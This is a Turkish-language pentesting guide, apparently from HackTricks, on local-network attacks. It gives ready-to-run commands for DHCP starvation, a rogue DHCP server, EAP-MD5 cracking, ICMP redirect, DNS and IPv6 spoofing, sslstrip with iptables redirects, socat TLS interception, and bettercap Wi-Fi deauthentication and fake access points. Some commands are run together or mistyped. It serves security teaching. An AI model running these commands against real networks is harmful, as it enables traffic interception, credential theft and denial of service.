DoS'un iki türü DHCP sunucularına karşı gerçekleştirilebilir. İlk tür, tüm olası IP adreslerini kullanmak için yeterince sahte ana bilgisayar simüle etmekten oluşur.
Bu saldırı, DHCP sunucusunun yanıtlarını görebiliyorsanız ve protokolü tamamlayabiliyorsanız (Discover (Comp) --> Offer (server) --> Request (Comp) --> ACK (server)) çalışacaktır. Örneğin, bu Wifi ağlarında mümkün değildir.

DHCP DoS gerçekleştirmek için başka bir yol, her olası IP'yi kaynak kodu olarak kullanarak bir DHCP-RELEASE paketi göndermektir. Böylece, sunucu herkesin IP'yi kullanmayı bitirdiğini düşünecektir.

yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed

Daha otomatik bir yol, DHCPing aracını kullanmaktır.

Belirtilen DoS saldırılarını kullanarak, istemcileri ortam içinde yeni kiralamalar almaya zorlayabilir ve meşru sunucuları tüketerek yanıt veremez hale getirebilirsiniz. Böylece meşru sunucular yeniden bağlanmaya çalıştığında, bir sonraki saldırıda belirtilen kötü niyetli değerleri sunabilirsiniz.

Kötü niyetli değerleri ayarlama

Bir sahte DHCP sunucusu, /usr/share/responder/DHCP.py konumundaki DHCP betiği kullanılarak kurulabilir. Bu, trafiği kötü niyetli bir sunucuya yönlendirerek HTTP trafiğini ve kimlik bilgilerini yakalamak gibi ağ saldırıları için faydalıdır. Ancak, sahte bir ağ geçidi ayarlamak daha az etkilidir çünkü yalnızca istemciden çıkan trafiği yakalamaya izin verir ve gerçek ağ geçidinden gelen yanıtları kaçırır. Bunun yerine, daha etkili bir saldırı için sahte bir DNS veya WPAD sunucusu kurmak önerilir.

Aşağıda sahte DHCP sunucusunu yapılandırmak için komut seçenekleri bulunmaktadır:

  • IP Adresimiz (Ağ Geçidi İlanı): Makinenizin IP'sini ağ geçidi olarak ilan etmek için -i 10.0.0.100 kullanın.
  • Yerel DNS Alan Adı: İsteğe bağlı olarak, yerel bir DNS alan adı ayarlamak için -d example.org kullanın.
  • Orijinal Yönlendirici/Ağ Geçidi IP'si: Meşru yönlendiricinin veya ağ geçidinin IP adresini belirtmek için -r 10.0.0.1 kullanın.
  • Birincil DNS Sunucusu IP'si: Kontrol ettiğiniz sahte DNS sunucusunun IP adresini ayarlamak için -p 10.0.0.100 kullanın.
  • İkincil DNS Sunucusu IP'si: İsteğe bağlı olarak, ikincil bir DNS sunucusu IP'si ayarlamak için -s 10.0.0.1 kullanın.
  • Yerel Ağın Alt Ağ Maskesi: Yerel ağ için alt ağ maskesini tanımlamak için -n 255.255.255.0 kullanın.
  • DHCP Trafiği için Arayüz: Belirli bir ağ arayüzünde DHCP trafiğini dinlemek için -I eth1 kullanın.
  • WPAD Yapılandırma Adresi: Web trafiği kesintisi için WPAD yapılandırma adresini ayarlamak için -w “http://10.0.0.100/wpad.dat” kullanın.
  • Varsayılan Ağ Geçidi IP'sini Taklit Etme: Varsayılan ağ geçidi IP adresini taklit etmek için -S ekleyin.
  • Tüm DHCP İsteklerine Yanıt Verme: Sunucunun tüm DHCP isteklerine yanıt vermesi için -R ekleyin, ancak bunun gürültülü olduğunu ve tespit edilebileceğini unutmayın.

Bu seçenekleri doğru bir şekilde kullanarak, ağ trafiğini etkili bir şekilde kesmek için bir sahte DHCP sunucusu kurulabilir.

# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R

EAP Saldırıları

İşte 802.1X uygulamalarına karşı kullanılabilecek bazı saldırı taktikleri:

  • EAP üzerinden aktif brute-force şifre kırma
  • Bozulmuş EAP içeriği ile RADIUS sunucusuna saldırma **(istismarlar)
  • EAP mesajlarını yakalama ve çevrimdışı şifre kırma (EAP-MD5 ve PEAP)
  • TLS sertifika doğrulamasını atlamak için EAP-MD5 kimlik doğrulamasını zorlamak
  • Bir hub veya benzeri bir cihaz kullanarak kimlik doğrulama sırasında kötü niyetli ağ trafiği enjekte etme

Eğer saldırgan, kurban ile kimlik doğrulama sunucusu arasında ise, kimlik doğrulama protokolünü EAP-MD5'ye düşürmeyi (gerekirse) deneyebilir ve kimlik doğrulama girişimini yakalayabilir. Ardından, bunu brute-force ile kırmayı deneyebilir:

eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt

FHRP (GLBP & HSRP) Saldırıları

FHRP (First Hop Redundancy Protocol), bir sıcak yedek yönlendirme sistemi oluşturmak için tasarlanmış bir ağ protokolleri sınıfıdır. FHRP ile fiziksel yönlendiriciler tek bir mantıksal cihazda birleştirilebilir, bu da hata toleransını artırır ve yük dağılımına yardımcı olur.

Cisco Systems mühendisleri iki FHRP protokolü geliştirmiştir: GLBP ve HSRP.

{% content-ref url="glbp-and-hsrp-attacks.md" %} glbp-and-hsrp-attacks.md {% endcontent-ref %}

RIP

Yönlendirme Bilgisi Protokolü (RIP) olarak bilinen üç versiyon vardır: RIP, RIPv2 ve RIPng. RIP ve RIPv2, datagramları UDP üzerinden 520 numaralı port aracılığıyla akranlara gönderirken, RIPng datagramları IPv6 çoklu yayını aracılığıyla UDP 521 numaralı portuna yayınlar. MD5 kimlik doğrulama desteği RIPv2 ile tanıtılmıştır. Öte yandan, RIPng yerel kimlik doğrulama içermemektedir; bunun yerine, IPv6 içindeki isteğe bağlı IPsec AH ve ESP başlıklarına güvenilmektedir.

  • RIP ve RIPv2: İletişim, 520 numaralı portta UDP datagramları aracılığıyla yapılır.
  • RIPng: IPv6 çoklu yayını aracılığıyla datagramları yayınlamak için 521 numaralı UDP portunu kullanır.

RIPv2'nin MD5 kimlik doğrulamasını desteklediğini, RIPng'nin ise yerel kimlik doğrulama içermediğini ve IPv6'daki IPsec AH ve ESP başlıklarına güvendiğini unutmayın.

EIGRP Saldırıları

EIGRP (Enhanced Interior Gateway Routing Protocol), dinamik bir yönlendirme protokolüdür. Bu bir mesafe-vektör protokolüdür. Eğer kimlik doğrulama yoksa ve pasif arayüzlerin yapılandırması yapılmamışsa, bir saldırgan EIGRP yönlendirmesine müdahale edebilir ve yönlendirme tablolarını zehirleyebilir. Ayrıca, EIGRP ağı (diğer bir deyişle, otonom sistem) düzdür ve herhangi bir bölgeye ayrılmamıştır. Eğer bir saldırgan bir rota enjekte ederse, bu rotanın otonom EIGRP sistemi boyunca yayılması muhtemeldir.

EIGRP sistemine saldırmak, meşru bir EIGRP yönlendiricisi ile bir komşuluk kurmayı gerektirir; bu da temel keşiften çeşitli enjekte etmelere kadar birçok olasılığı açar.

FRRouting BGP, OSPF, EIGRP, RIP ve diğer protokolleri destekleyen sanal bir yönlendirici uygulamanıza olanak tanır. Tek yapmanız gereken, bunu saldırganın sistemine dağıtmak ve aslında yönlendirme alanında meşru bir yönlendirici gibi davranmaktır.

{% content-ref url="eigrp-attacks.md" %} eigrp-attacks.md {% endcontent-ref %}

Coly EIGRP (Enhanced Interior Gateway Routing Protocol) yayınlarını yakalama yeteneklerine sahiptir. Ayrıca, yönlendirme yapılandırmalarını değiştirmek için kullanılabilecek paketlerin enjekte edilmesine de olanak tanır.

OSPF

Open Shortest Path First (OSPF) protokolünde MD5 kimlik doğrulaması, yönlendiriciler arasında güvenli iletişimi sağlamak için yaygın olarak kullanılır. Ancak, bu güvenlik önlemi Loki ve John the Ripper gibi araçlar kullanılarak tehlikeye atılabilir. Bu araçlar, MD5 hash'lerini yakalayabilir ve kırabilir, böylece kimlik doğrulama anahtarınıığa çıkarabilir. Bu anahtar elde edildikten sonra, yeni yönlendirme bilgileri eklemek için kullanılabilir. Rota parametrelerini yapılandırmak ve ele geçirilmiş anahtarı belirlemek için sırasıyla Injection ve Connection sekmeleri kullanılır.

  • MD5 Hash'lerini Yakalama ve Kırma: Bu amaçla Loki ve John the Ripper gibi araçlar kullanılır.
  • Rota Parametrelerini Yapılandırma: Bu, Injection sekmesi aracılığıyla yapılır.
  • Ele Geçirilmiş Anahtarı Ayarlama: Anahtar, Connection sekmesi altında yapılandırılır.

Diğer Genel Araçlar ve Kaynaklar

  • Above: Ağ trafiğini taramak ve güvenlik açıklarını bulmak için bir araç
  • Ağ saldırıları hakkında daha fazla bilgi burada bulabilirsiniz.

Sahtecilik

Saldırgan, sahte DHCP yanıtları göndererek ağın yeni üyesinin tüm ağ parametrelerini (GW, IP, DNS) yapılandırır.

Ettercap
yersinia dhcp -attack 2 #More parameters are needed

ARP Spoofing

Önceki bölümü kontrol edin.

ICMPRedirect

ICMP Redirect, saldırganın bir IP'ye ulaşmanın en iyi yolu olduğunu belirten bir ICMP paket türü 1 kod 5 göndermeyi içerir. Ardından, kurban IP ile iletişim kurmak istediğinde, paketi saldırgan üzerinden gönderecektir.

Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]

DNS Spoofing

Saldırgan, kurbanın talep ettiği bazı (veya tüm) alan adlarını çözecektir.

set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on

dnsmasq ile kendi DNS'inizi yapılandırın

apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1   domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS

Yerel Ağ Geçitleri

Sistemlere ve ağlara genellikle birden fazla yol vardır. Yerel ağ içindeki MAC adreslerinin bir listesini oluşturduktan sonra, IPv4 yönlendirmesini destekleyen ana bilgisayarları tanımlamak için gateway-finder.py kullanın.

root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100     00:13:72:09:ad:76       Dell Inc.
10.0.0.200     00:90:27:43:c0:57       INTEL CORPORATION
10.0.0.254     00:08:74:c0:40:ce       Dell Computer Corp.

root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]

LLMNR, NBT-NS ve mDNS Spoofing

DNS sorguları başarısız olduğunda yerel ana bilgisayar çözümü için Microsoft sistemleri Link-Local Multicast Name Resolution (LLMNR) ve NetBIOS Name Service (NBT-NS)'ye dayanır. Benzer şekilde, Apple Bonjour ve Linux sıfır yapılandırma uygulamaları, bir ağ içindeki sistemleri keşfetmek için Multicast DNS (mDNS) kullanır. Bu protokollerin kimlik doğrulama gerektirmeyen doğası ve UDP üzerinden çalışmaları, mesajları yayınlayarak, kullanıcıları kötü niyetli hizmetlere yönlendirmeyi amaçlayan saldırganlar tarafından istismar edilebilir.

Yanıtlayıcıyı kullanarak ana bilgisayarlar tarafından aranan hizmetleri taklit etmek için sahte yanıtlar gönderebilirsiniz.
Daha fazla bilgi için Yanıtlayıcı ile hizmetleri nasıl taklit edeceğinizi buradan okuyun.

WPAD Spoofing

Tarayıcılar genellikle Web Proxy Auto-Discovery (WPAD) protokolünü otomatik olarak proxy ayarlarını almak için kullanır. Bu, bir sunucudan yapılandırma ayrıntılarını almak anlamına gelir, özellikle "http://wpad.example.org/wpad.dat" gibi bir URL aracılığıyla. Bu sunucunun istemciler tarafından keşfi çeşitli mekanizmalarla gerçekleşebilir:

  • DHCP aracılığıyla, burada keşif özel bir kod 252 girişi kullanılarak kolaylaştırılır.
  • DNS aracılığıyla, bu yerel alanda wpad olarak etiketlenmiş bir ana bilgisayar adı aramayı içerir.
  • Microsoft LLMNR ve NBT-NS aracılığıyla, DNS sorgularının başarısız olduğu durumlarda kullanılan yedekleme mekanizmalarıdır.

Yanıtlayıcı aracı, kötü niyetli bir WPAD sunucusu olarak hareket ederek bu protokolden yararlanır. İstemcileri kendisine bağlanmaya yönlendirmek için DHCP, DNS, LLMNR ve NBT-NS kullanır. Yanıtlayıcı kullanarak hizmetlerin nasıl taklit edilebileceği hakkında daha fazla bilgi için bunu kontrol edin.

SSDP ve UPnP cihazlarını Spoofing

Ağda farklı hizmetler sunarak bir kullanıcıyı bazı düz metin kimlik bilgilerini girmeye kandırmaya çalışabilirsiniz. Bu saldırı hakkında daha fazla bilgi için SSDP ve UPnP Cihazlarını Spoofing.

IPv6 Komşu Spoofing

Bu saldırı, ARP Spoofing'e çok benzer ancak IPv6 dünyasında geçerlidir. Kurbanın, GW'nin IPv6'sının saldırganın MAC'ine sahip olduğunu düşünmesini sağlayabilirsiniz.

sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds

IPv6 Yönlendirici İlanı Sahteciliği/Boğma

Bazı işletim sistemleri, ağda gönderilen RA paketlerinden varsayılan olarak geçidi yapılandırır. Saldırganı IPv6 yönlendiricisi olarak ilan etmek için şunu kullanabilirsiniz:

sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16

IPv6 DHCP sahteciliği

Varsayılan olarak bazı işletim sistemleri, ağda bir DHCPv6 paketi okuyarak DNS'i yapılandırmaya çalışır. Ardından, bir saldırgan kendisini DNS olarak yapılandırmak için bir DHCPv6 paketi gönderebilir. DHCP ayrıca kurban için bir IPv6 sağlar.

dhcp6.spoof on
dhcp6.spoof.domains <list of domains>

mitm6

HTTP (sahte sayfa ve JS kodu enjeksiyonu)

İnternet Saldırıları

sslStrip

Bu saldırının temel olarak yaptığı şey, eğer kullanıcı bir HTTP sayfasına erişmeye çalışıyorsa ve bu sayfa HTTPS versiyonuna yönlendiriyorsa. sslStrip, istemci ile bir HTTP bağlantısını ve sunucu ile bir HTTPS bağlantısını sürdürerek, bağlantıyı düz metin olarak dinleyebilmesini sağlar.

apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT

Daha fazla bilgi burada.

sslStrip+ ve dns2proxy ile HSTS'yi atlama

sslStrip+ ve dns2proxy arasındaki fark, sslStrip'e karşı, örneğin www.facebook.com adresini wwww.facebook.com olarak yönlendirmeleridir (not: ekstra "w" var) ve bu alan adının adresini saldırgan IP'si olarak ayarlayacaklardır. Bu şekilde, istemci wwww.facebook.com (saldırgan) ile bağlanacak, ancak arka planda sslstrip+ gerçek bağlantıyı www.facebook.com ile https üzerinden sürdürecektir.

Bu tekniğin amacı, wwww.facebook.com tarayıcının önbelleğine kaydedilmeyeceği için HSTS'yi atlamaktır; böylece tarayıcı facebook kimlik doğrulamasını HTTP üzerinden gerçekleştirmeye kandırılacaktır.
Bu saldırıyı gerçekleştirmek için, kurbanın öncelikle http://www.faceook.com adresine erişmeye çalışması gerektiğini unutmayın, https değil. Bu, bir http sayfasındaki bağlantıları değiştirerek yapılabilir.

Daha fazla bilgi burada, burada ve burada.

sslStrip veya sslStrip+ artık çalışmıyor. Bunun nedeni, tarayıcılarda önceden kaydedilmiş HSTS kurallarının olmasıdır, bu nedenle bir kullanıcı "önemli" bir alan adına ilk kez erişse bile HTTPS üzerinden erişecektir. Ayrıca, önceden kaydedilmiş kurallar ve diğer üretilen kurallar includeSubdomains bayrağını kullanabilir, bu nedenle wwww.facebook.com örneği artık çalışmayacaktır çünkü facebook.com includeSubdomains ile HSTS kullanmaktadır.

TODO: easy-creds, evilgrade, metasploit, factory

TCP dinleme portu

sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -

TCP + SSL dinleme portu

Anahtarlar ve kendinden imzalı sertifika oluşturun

FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

Sertifika kullanarak dinleme

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -

Sertifika kullanarak dinleme yapın ve ana bilgisayarlara yönlendirin

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0

Bazen, eğer müşteri CA'nın geçerli olduğunu kontrol ederse, bir CA tarafından imzalanmış başka bir ana bilgisayar adı sertifikası sunabilirsiniz.
Diğer ilginç bir test, istenen ana bilgisayar adı için ancak kendinden imzalı bir sertifika sunmaktır.

Test edilecek diğer şeyler, sertifikayı geçerli bir CA olmayan geçerli bir sertifika ile imzalamayı denemek veya geçerli bir genel anahtarı kullanarak, gerçek özel anahtarla herhangi bir şeyi deşifre etmesine gerek olmayan bir algoritmayı (diffie hellman gibi) zorlamaktır ve müşteri gerçek özel anahtarın bir denemesini (bir hash gibi) talep ettiğinde sahte bir deneme göndermek ve müşterinin bunu kontrol etmemesini beklemektir.

Bettercap

# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear

# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on

# Caplets
caplets.show
caplets.update

# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap

Aktif Keşif Notları

Bir UDP paketi, istenen porta sahip olmayan bir cihaza gönderildiğinde, bir ICMP (Port Ulaşılmaz) gönderildiğini dikkate alın.

ARP keşfi

ARP paketleri, ağ içinde hangi IP'lerin kullanıldığını keşfetmek için kullanılır. PC, her olası IP adresi için bir istek göndermeli ve yalnızca kullanılanlar yanıt verecektir.

mDNS (çoklu yayın DNS)

Bettercap, _services_.dns-sd._udp.local için MDNS isteği gönderir (her X ms'de) ve bu paketi gören makine genellikle bu isteğe yanıt verir. Ardından, yalnızca "services" yanıt veren makineleri arar.

Araçlar

  • Avahi-browser (--all)
  • Bettercap (net.probe.mdns)
  • Responder

NBNS (NetBios İsim Sunucusu)

Bettercap, "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA" ismini sormak için 137/UDP portuna paketler yayınlar.

SSDP (Basit Hizmet Keşif Protokolü)

Bettercap, her türlü hizmeti aramak için SSDP paketleri yayınlar (UDP Port 1900).

WSD (Web Hizmeti Keşfi)

Bettercap, hizmetleri aramak için WSD paketleri yayınlar (UDP Port 3702).

Referanslar


Hata avı ipucu: Intigriti için kayıt olun, hackerlar tarafından, hackerlar için oluşturulmuş bir premium hata avı platformu! Bugün https://go.intigriti.com/hacktricks adresine katılın ve $100,000'a kadar ödüller kazanmaya başlayın!

{% embed url="https://go.intigriti.com/hacktricks" %}

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)

HackTricks'i Destekleyin
{% endhint %}